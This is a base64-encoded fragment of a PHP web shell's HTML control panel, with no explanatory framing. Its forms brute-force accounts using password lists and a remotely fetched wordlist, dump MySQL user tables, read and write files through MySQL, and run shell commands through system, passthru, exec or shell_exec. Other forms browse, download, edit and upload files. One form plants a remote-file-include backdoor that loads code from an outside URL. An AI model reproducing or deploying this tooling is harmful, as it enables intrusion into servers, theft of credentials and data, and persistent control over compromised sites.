Z2NvbG9yPSIjMTUxNTE1IiBjbGFzcz0ic3R5bGUyIiBzdHlsZT0id2lkdGg6IDEzOXB4Ij4NCgk8c3Ryb25nPlVzZXJzIDo8L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+PHN0cm9uZz48dGV4dGFyZWEgY29scz0iNDAiIHJvd3M9IjEwIiBuYW1lPSJ1c2VybmFtZXMiIGRpcj0ibHRyIj5yb290DQp1c2VyMQ0KdXNlcjI8L3RleHRhcmVhPjwvc3Ryb25nPjwvdGQ+DQogICAgPC90cj4NCiAgICA8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjbGFzcz0ic3R5bGUyIiBzdHlsZT0id2lkdGg6IDEzOXB4Ij4NCgk8c3Ryb25nPlBhc3N3b3JEIDo8L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+PHN0cm9uZz48dGV4dGFyZWEgY29scz0iNDAiIHJvd3M9IjEwIiBuYW1lPSJwYXNzd29yZHMiICBkaXI9Imx0ciI+MQ0KMTINCjEyMw0KMTIzNA0KMTIzNDUNCjEyMzQ1Ng0KMTIzNDU2Nw0KMTIzNDU2NzgNCjEyMzQ1Njc4OQ0KMTIzNDU2Nzg5MDwvdGV4dGFyZWE+PC9zdHJvbmc+PC90ZD4NCiAgICA8L3RyPg0KPHRyPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY2xhc3M9InN0eWxlMiIgc3R5bGU9IndpZHRoOiAxMzlweCI+DQoJPHN0cm9uZz5TZXJ2ZXIgOjwvc3Ryb25nPjwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij4NCiAgICA8c3Ryb25nPjxpbnB1dCBuYW1lPSJzZXJ2ZXIiIHR5cGU9InRleHQiIHZhbHVlPSJsb2NhbGhvc3QiPjwvc3Ryb25nPjwvdGQ+DQogICAgPC90cj4NCiAgICANCiAgICA8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjbGFzcz0ic3R5bGUyIiBzdHlsZT0id2lkdGg6IDEzOXB4Ij4NCgk8c3Ryb25nPktpbmQgT2YgVXNlciBBbmQgUGFzcyA6PC9zdHJvbmc+PC90ZD4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiIGNsYXNzPSJzdHlsZTEiPg0KICAgIDxzcGFuIGNsYXNzPSJzdHlsZTIiPg0KICAgIDxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0idHlwZSIgdmFsdWU9InNpbXBsZSIgY2hlY2tlZD0iY2hlY2tlZCIgY2xhc3M9InN0eWxlMSI+PGI+RGVmYXVsdDpZb3UgV2lsbCBVc2UgVGhlIERlZmF1bHQgUGFzcyBMaXN0IFRvIEJydXRlPGJyPg0KCTwvYj4gPC9zcGFuPg0KCTxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0idHlwZSIgdmFsdWU9InBhc3N3ZCIgY2xhc3M9InN0eWxlMSI+DQogICAgPGZvbnQgY2xhc3M9InN0eWxlMiI+PGI+L2V0Yy9wYXNzd2QgVXNlcnM8YnI+PC9iPiA8L2ZvbnQ+DQoJPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJ0eXBlIiB2YWx1ZT0iZmlsZSIgY2xhc3M9InN0eWxlMSI+PHNwYW4gY2xhc3M9InN0eWxlMyI+DQoJPGZvbnQgY2xhc3M9InN0eWxlMiI+PGI+QnJ1dGluZyBXaXRoIEFuIEluY2x1ZGVEIEZpbGUgQXQgdGhpcyBQYXRoPGJyPg0KCTxpbnB1dCBuYW1lPSJuYW1lZmlsZSIgdHlwZT0idGV4dCIgdmFsdWU9Ijw/cGhwIGVjaG8gcmVhbHBhdGgoJycpPz4iIHN0eWxlPSJ3aWR0aDogMjQ1cHgiIGRpcj0ibHRyIiA+PGJyPg0KCTxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0idHlwZSIgdmFsdWU9InVybCIgY2xhc3M9InN0eWxlMSI+QnJ1dGluZyBGcm9tIEFuIFVwbG9hZGVkIFBhc3MgTGlzdDxicj4mbmJzcDs8L2I+PGlucHV0IGRpcj0ibHRyIiBuYW1lPSJuYW1lZmlsZTIiIHR5cGU9InRleHQiIHZhbHVlPSJodHRwOi8vd3d3LmV0aGljYWxoYWNrM3IuY28udWsvZmlsZXMvZnV6emluZy9yb2NreW91LTc1LnR4dCIgc3R5bGU9IndpZHRoOiAyNDVweCIgPjxicj4NCglZb3UgQ2FuIERlbGV0ZSBUaGlzPGJyPg0KCWh0dHA6Ly93d3cuZXRoaWNhbGhhY2szci5jby51ay9maWxlcy9mdXp6aW5nL3BocGJiLnR4dDxicj4NCglodHRwOi8vd3d3LmV0aGljYWxoYWNrM3IuY28udWsvZmlsZXMvZnV6emluZy9yb2NreW91LTc1LnR4dDwvZm9udD48L3NwYW4+PC90ZD4NCiAgICA8L3RyPg0KICAgIDx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij48c3Ryb25nPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdGFyVCBCcnV0aW5nIj4NCiAgICA8L3N0cm9uZz4NCiAgICA8L3RkPg0KICAgIDx0cj4NCjwvZm9ybT4gICAgDQogICAgDQogICAgPHRkIHZhbGlnbj0idG9wIiBjb2xzcGFuPSI2Ij4mbmJzcDs8L3RkPg0KDQo8Zm9ybSBtZXRob2Q9IlBPU1QiIHRhcmdldD0iX2JsYW5rIj4NCjxzdHJvbmc+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJnbyIgdmFsdWU9ImNtZF9teXNxbCI+DQogICAgCTwvc3Ryb25nPg0KICAgIAk8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjbGFzcz0ic3R5bGUxIiBjb2xzcGFuPSI2Ij48c3Ryb25nPk1ZU1FMIE1hbmFnZXI8L3N0cm9uZz48L3RkPg0KICAgIAkJCQk8L3RyPg0KICAgIAk8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBzdHlsZT0id2lkdGg6IDEzOXB4Ij48c3Ryb25nPlVzZXI8L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSI+PHN0cm9uZz48aW5wdXQgbmFtZT0ibXlzcWxfbCIgdHlwZT0idGV4dCIgZGlyPSJsdHIiPjwvc3Ryb25nPjwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1Ij48c3Ryb25nPlBhc3N3b3JEPC9zdHJvbmc+PC90ZD4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiPjxzdHJvbmc+PGlucHV0IG5hbWU9Im15c3FsX3AiIHR5cGU9InRleHQiIGRpcj0ibHRyIj48L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSI+PHN0cm9uZz5EYXRhYmFzZTwvc3Ryb25nPjwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1Ij48c3Ryb25nPjxpbnB1dCBuYW1lPSJteXNxbF9kYiIgdHlwZT0idGV4dCIgZGlyPSJsdHIiPjwvc3Ryb25nPjwvdGQ+DQogICAgCQkJCTwvdHI+DQoJCQkJCTx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJoZWlnaHQ6IDI1eDsgd2lkdGg6IDEzOXB4OyI+DQoJPHN0cm9uZz5Db21tYW5EIH48L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSIgc3R5bGU9ImhlaWdodDogMjVweCI+DQoJPHN0cm9uZz4NCgk8dGV4dGFyZWEgbmFtZT0iZGJfcXVlcnkiIHN0eWxlPSJ3aWR0aDogMzUzcHg7IGhlaWdodDogODlweCIgZGlyPSJsdHIiPlNIT1cgREFUQUJBU0VTOw0KU0hPVyBUQUJMRVMgdXNlcl92YiA7DQpTRUxFQ1QgKiBGUk9NIHVzZXI7DQpTRUxFQ1QgdmVyc2lvbigpOw0KU0VMRUNUIHVzZXIoKTs8L3RleHRhcmVhPjwvc3Ryb25nPjwvdGQ+DQogICAgCTwvdHI+DQoJCTx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPiZuYnNwOzwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij48c3Ryb25nPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJhYm91dCI+PC9zdHJvbmc+PC90ZD4NCiAgICAJPC90cj4NCjxpbnB1dCBuYW1lPSJkYiIgdmFsdWU9Ik15U1FMIiB0eXBlPSJoaWRkZW4iPg0KPGlucHV0IG5hbWU9ImRiX3NlcnZlciIgdHlwZT0iaGlkZGVuIiB2YWx1ZT0ibG9jYWxob3N0Ij4NCjxpbnB1dCBuYW1lPSJkYl9wb3J0IiB0eXBlPSJoaWRkZW4iIHZhbHVlPSIzMzA2Ij4NCjxpbnB1dCBuYW1lPSJjY2NjIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSJkYl9xdWVyeSI+DQogICAgCQ0KPC9mb3JtPiAgICAJDQoNCiAgICA8dGQgdmFsaWduPSJ0b3AiIGNvbHNwYW49IjYiPiZuYnNwOzwvdGQ+DQoNCjxmb3JtIG1ldGhvZD0iUE9TVCIgdGFyZ2V0PSJfYmxhbmsiPg0KPHN0cm9uZz4NCiAgICAJPC9zdHJvbmc+DQogICAgCTx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTEiIGNvbHNwYW49IjYiPjxzdHJvbmc+UmVhZCBBIEZpbGUgQnkgTVlTUUw8L3N0cm9uZz48L3RkPg0KICAgIAkJCQk8L3RyPg0KICAgIAk8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBzdHlsZT0id2lkdGg6IDEzOXB4Ij48c3Ryb25nPlVzZXI8L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSI+PHN0cm9uZz48aW5wdXQgbmFtZT0ibXlzcWxfbCIgdHlwZT0idGV4dCIgZGlyPSJsdHIiPjwvc3Ryb25nPjwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1Ij48c3Ryb25nPlBhc3M8L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSI+PHN0cm9uZz48aW5wdXQgbmFtZT0ibXlzcWxfcCIgdHlwZT0idGV4dCIgZGlyPSJsdHIiPjwvc3Ryb25nPjwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1Ij48c3Ryb25nPkRhdGFiYXNlIE5hbWU8L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSI+PHN0cm9uZz48aW5wdXQgbmFtZT0ibXlzcWxfZGIiIHR5cGU9InRleHQiIGRpcj0ibHRyIj48L3N0cm9uZz48L3RkPg0KICAgIAkJCQk8L3RyPg0KCQkJCQk8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBzdHlsZT0iaGVpZ2h0OiAyNXg7IHdpZHRoOiAxMzlweDsiPg0KCTxzdHJvbmc+RmlsZSBQYXRofjwvc3Ryb25nPjwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1IiBzdHlsZT0iaGVpZ2h0OiAyNXB4Ij4NCgk8c3Ryb25nPg0KCTxpbnB1dCBuYW1lPSJwYXRoY2xhc3MiIHR5cGU9InRleHQiIHN0eWxlPSJ3aWR0aDogMjg0cHgiICBkaXI9Imx0ciIgdmFsdWU9Ijw/cGhwIGVjaG8gcmVhbHBhdGgoJycpPz4iPjwvc3Ryb25nPjwvdGQ+DQogICAgCTwvdHI+DQoJCTx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPiZuYnNwOzwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij48c3Ryb25nPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJSZWFEIj48L3N0cm9uZz48L3RkPg0KICAgIAk8L3RyPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGFnZSIgdmFsdWU9InJlYWRfbXlzcWwiPiAgICAJDQo8L2Zvcm0+ICAgIAkNCg0KDQogICAgPHRkIHZhbGlnbj0idG9wIiBjb2xzcGFuPSI2Ij4mbmJzcDs8L3RkPg0KDQo8Zm9ybSBtZXRob2Q9IlBPU1QiIHRhcmdldD0iX2JsYW5rIj4NCjxzdHJvbmc+DQogICAgCTwvc3Ryb25nPg0KICAgIAk8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjbGFzcz0ic3R5bGUxIiBjb2xzcGFuPSI2Ij48c3Ryb25nPkNyZWF0ZSBBIEZpbGUgQnkgTVlTUUw8L3N0cm9uZz48L3RkPg0KICAgIAkJCQk8L3RyPg0KICAgIAk8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBzdHlsZT0id2lkdGg6IDEzOXB4Ij48c3Ryb25nPlVzZXI8L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSI+PHN0cm9uZz48aW5wdXQgbmFtZT0ibXlzcWxfbCIgdHlwZT0idGV4dCIgZGlyPSJsdHIiPjwvc3Ryb25nPjwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1Ij48c3Ryb25nPlBhc3M8L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSI+PHN0cm9uZz48aW5wdXQgbmFtZT0ibXlzcWxfcCIgdHlwZT0idGV4dCIgZGlyPSJsdHIiPjwvc3Ryb25nPjwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1Ij48c3Ryb25nPkRhdGFiYXNlIE5hbWU8L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSI+PHN0cm9uZz48aW5wdXQgbmFtZT0ibXlzcWxfZGIiIHR5cGU9InRleHQiIGRpcj0ibHRyIj48L3N0cm9uZz48L3RkPg0KICAgIAkJCQk8L3RyPg0KCQkJCQk8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBzdHlsZT0iaGVpZ2h0OiAyNXg7IHdpZHRoOiAxMzlweDsiPg0KCTxzdHJvbmc+Q29kRSB+PC9zdHJvbmc+PC90ZD4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiIHN0eWxlPSJoZWlnaHQ6IDI1cHgiPg0KCTxzdHJvbmc+DQoJPHRleHRhcmVhIG5hbWU9ImNvZGVzIiBzdHlsZT0id2lkdGg6IDM1M3B4OyBoZWlnaHQ6IDg5cHgiIGRpcj0ibHRyIiBjb2xzPSIyMCIgcm93cz0iMSI+Jmx0Oz9waHAgaW5jbHVkZSgkX0dFVFsndSddKT8mZ3Q7PC90ZXh0YXJlYT48YnI+DQoJPz8/ID8/Pz8/ID8/Pz8gPz8/PzxzcGFuIGxhbmc9ImVuLXVzIj4gZmlsZSBpbmNsdWRlIDwvc3Bhbj4/Pz8/PyA/Pz8/Pz8/ID8/IA0KCT8/ID8/Pz8gPz8/Pz8/Pzxicj48c3BhbiBsYW5nPSJlbi11cyI+d3d3LnNpdGUuY29tL2ZpbGUucGhwP3U9aHR0cDovL3NoZWxsPC9zcGFuPjwvc3Ryb25nPjwvdGQ+DQogICAgCQkJPC90cj4NCgkJCQkJPHRyPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgc3R5bGU9ImhlaWdodDogMjV4OyB3aWR0aDogMTM5cHg7Ij4NCgk8c3Ryb25nPkZpbGUgUGF0aCB+PC9zdHJvbmc+PC90ZD4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiIHN0eWxlPSJoZWlnaHQ6IDI1cHgiPg0KCTxzdHJvbmc+DQoJPGlucHV0IG5hbWU9InBhdGhjbGFzcyIgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOiAyODRweCIgIGRpcj0ibHRyIiB2YWx1ZT0iPD9waHAgZWNobyByZWFscGF0aCgnJyk/Pi9maWxlLnBocCI+PC9zdHJvbmc+PC90ZD4NCiAgICAJPC90cj4NCgkJPHRyPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgc3R5bGU9IndpZHRoOiAxMzlweCI+Jm5ic3A7PC90ZD4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiPjxzdHJvbmc+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNyZWF0ZSI+PC9zdHJvbmc+PC90ZD4NCiAgICAJPC90cj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhZ2UiIHZhbHVlPSJmaWxlX215c3FsIj4gICAgCQ0KPC9mb3JtPiAgICAJDQoNCg0KCQk8dHI+DQogICAgDQogICAgPHRkIHZhbGlnbj0idG9wIiBjb2xzcGFuPSI2Ij4mbmJzcDs8L3RkPg0KDQoJCTwvdHI+DQoJCQ0KPGZvcm0gbWV0aG9kPSJQT1NUIiB0YXJnZXQ9Il9ibGFuayI+DQoJCTx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTEiIGNvbHNwYW49IjYiPjxzdHJvbmc+Q29tbWFuZCAgDQoJc3lzdGVtIC0gcGFzc3RocnUgLSBleGVjIC0gc2hlbGxfZXhlYzwvc3Ryb25nPjwvdGQ+DQogICAgCQkJCTwvdHI+DQoJCTx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjxzdHJvbmc+Q29tbWFuZHMgfjwvc3Ryb25nPjwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij4NCgkJCQkJPHNlbGVjdCBuYW1lPSJhdHQiIGRpcj0icnRsIiAgc2l6ZT0iMSI+DQo8P3BocA0KaWYoJF9QT1NUWydhdHQnXT09bnVsbCkNCnsNCmVjaG8gJwkJCQkJCTxvcHRpb24gdmFsdWU9InN5c3RlbSIgc2VsZWN0ZWQ9IiI+c3lzdGVtPC9vcHRpb24+JzsNCn1lbHNlew0KZWNobyAiCQkJCQkJPG9wdGlvbiB2YWx1ZT0nJF9QT1NUW2F0dF0nIHNlbGVjdGVkPScnPiRfUE9TVFthdHRdPC9vcHRpb24+DQoJCQkJCQk8b3B0aW9uIHZhbHVlPXN5c3RlbT5zeXN0ZW08L29wdGlvbj4NCiI7DQoNCgkJCQkJCQ0KfQ0KPz4NCg0KCQkJCQkJPG9wdGlvbiB2YWx1ZT0icGFzc3RocnUiPnBhc3N0aHJ1PC9vcHRpb24+DQoJCQkJCQk8b3B0aW9uIHZhbHVlPSJleGVjIj5leGVjPC9vcHRpb24+DQoJCQkJCQk8b3B0aW9uIHZhbHVlPSJzaGVsbF9leGVjIj5zaGVsbF9leGVjPC9vcHRpb24+DQoJCQkJCTwvc2VsZWN0PiAgICANCiAgICA8c3Ryb25nPg0KPGlucHV0IG5hbWU9InBhZ2UiIHR5cGU9ImhpZGRlbiIgdmFsdWU9ImNjbW1kZCI+ICAgIA0KCTxpbnB1dCBuYW1lPSJjY21tZGQyIiB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6IDI4NHB4IiB2YWx1ZT0ibHMgLWxhIiBkaXI9Imx0ciI+PC9zdHJvbmc+PC90ZD4NCiAgICAJPC90cj4NCgkJPHRyPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgc3R5bGU9IndpZHRoOiAxMzlweCI+Jm5ic3A7PC90ZD4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiPjxzdHJvbmc+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlJ1biI+PC9zdHJvbmc+PC90ZD4NCiAgICAJPC90cj4NCjwvZm9ybT4gICAgCSAgICAJDQoNCjxmb3JtIG1ldGhvZD0iUE9TVCIgdGFyZ2V0PSJfYmxhbmsiPg0KDQoJCTx0cj4NCiAgICANCiAgICA8dGQgdmFsaWduPSJ0b3AiIGNvbHNwYW49IjYiPiZuYnNwOzwvdGQ+DQoNCgkJPC90cj4NCg0KCQk8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjbGFzcz0ic3R5bGUxIiBjb2xzcGFuPSI2Ij48c3Ryb25nPk1hbmFnaW5nIGZpbGVzIGFuZCBmb2xkZXJzPC9zdHJvbmc+PC90ZD4NCiAgICAJCQkJPC90cj4NCgkJPHRyPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgc3R5bGU9IndpZHRoOiAxMzlweCI+PHN0cm9uZz5QYXRoIH48L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+DQoJPHN0cm9uZz4NCgk8aW5wdXQgbmFtZT0icGF0aGNsYXNzIiB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6IDI4NHB4IiBkaXI9Imx0ciIgdmFsdWU9Ijw/cGhwIGVjaG8gcmVhbHBhdGgoJycpPz4iPjwvc3Ryb25nPjwvdGQ+DQogICAgCTwvdHI+DQoJCTx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPiZuYnNwOzwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij48c3Ryb25nPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJWaWV3Ij48L3N0cm9uZz48L3RkPg0KICAgIAkJCQk8L3RyPg0KPGlucHV0IG5hbWU9InBhZ2UiIHR5cGU9ImhpZGRlbiIgdmFsdWU9InNob3dkaXIiPiAgICAgICAgCQkJCQ0KPC9mb3JtPiAgICAJDQoNCjxmb3JtIG1ldGhvZD0iUE9TVCIgdGFyZ2V0PSJfYmxhbmsiPg0KDQoJCTx0cj4NCiAgICANCiAgICA8dGQgdmFsaWduPSJ0b3AiIGNvbHNwYW49IjYiPiZuYnNwOzwvdGQ+DQoNCgkJPC90cj4NCg0KCQk8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjbGFzcz0ic3R5bGUxIiBjb2xzcGFuPSI2Ij48c3Ryb25nPkRvd25sb2FkIEEgRmlsZTwvc3Ryb25nPjwvdGQ+DQogICAgCQkJCTwvdHI+DQoJCTx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjxzdHJvbmc+UGF0aCBPZiBGaWxlIH48L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+DQoJPHN0cm9uZz4NCgk8aW5wdXQgbmFtZT0icGF0aGNsYXNzIiB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6IDI4NHB4IiAgZGlyPSJsdHIiIHZhbHVlPSI8P3BocCBlY2hvIHJlYWxwYXRoKCcnKT8+Ij48L3N0cm9uZz48L3RkPg0KICAgIAk8L3RyPg0KCQk8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBzdHlsZT0id2lkdGg6IDEzOXB4Ij4mbmJzcDs8L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+PHN0cm9uZz4NCgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRG93bmxvYWQiPjwvc3Ryb25nPjwvdGQ+DQogICAgCQkJCTwvdHI+DQo8aW5wdXQgbmFtZT0icGFnZSIgdHlwZT0iaGlkZGVuIiB2YWx1ZT0iZG93bmxvYWQiPiAgICAgICAgCQkJCQ0KPC9mb3JtPiAgIA0KDQo8Zm9ybSBtZXRob2Q9IlBPU1QiIHRhcmdldD0iX2JsYW5rIj4NCg0KCQk8dHI+DQogICAgDQogICAgPHRkIHZhbGlnbj0idG9wIiBjb2xzcGFuPSI2Ij4mbmJzcDs8L3RkPg0KDQoJCTwvdHI+DQoNCgkJPHRyPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY2xhc3M9InN0eWxlMSIgY29sc3Bhbj0iNiI+PHN0cm9uZz5FZGl0IEEgRmlsZTwvc3Ryb25nPjwvdGQ+DQogICAgCQkJCTwvdHI+DQoJCTx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjxzdHJvbmc+cGF0aCBPZiBGaWxlIH48L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+DQoJPHN0cm9uZz4NCgk8aW5wdXQgbmFtZT0icGF0aGNsYXNzIiB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6IDI4NHB4IiBkaXI9Imx0ciIgdmFsdWU9Ijw/cGhwIGVjaG8gcmVhbHBhdGgoJycpPz4iPjwvc3Ryb25nPjwvdGQ+DQogICAgCTwvdHI+DQoJCTx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPiZuYnNwOzwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij48c3Ryb25nPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFZGl0IiBzdHlsZT0id2lkdGg6IDM2cHgiPjwvc3Ryb25nPjwvdGQ+DQogICAgCQkJCTwvdHI+DQo8aW5wdXQgbmFtZT0icGFnZSIgdHlwZT0iaGlkZGVuIiB2YWx1ZT0ic2hvdyI+ICAgICAgICAJCQkJDQo8L2Zvcm0+ICAgIAkNCg0KPGZvcm0gbWV0aG9kPSJQT1NUIiB0YXJnZXQ9Il9ibGFuayIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+DQoNCgkJPHRyPg0KICAgIA0KICAgIDx0ZCB2YWxpZ249InRvcCIgY29sc3Bhbj0iNiI+Jm5ic3A7PC90ZD4NCg0KCQk8L3RyPg0KDQoJCTx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTEiIGNvbHNwYW49IjYiPjxzdHJvbmc+VXBsb2FkIEEgRmlsZTwvc3Ryb25nPjwvdGQ+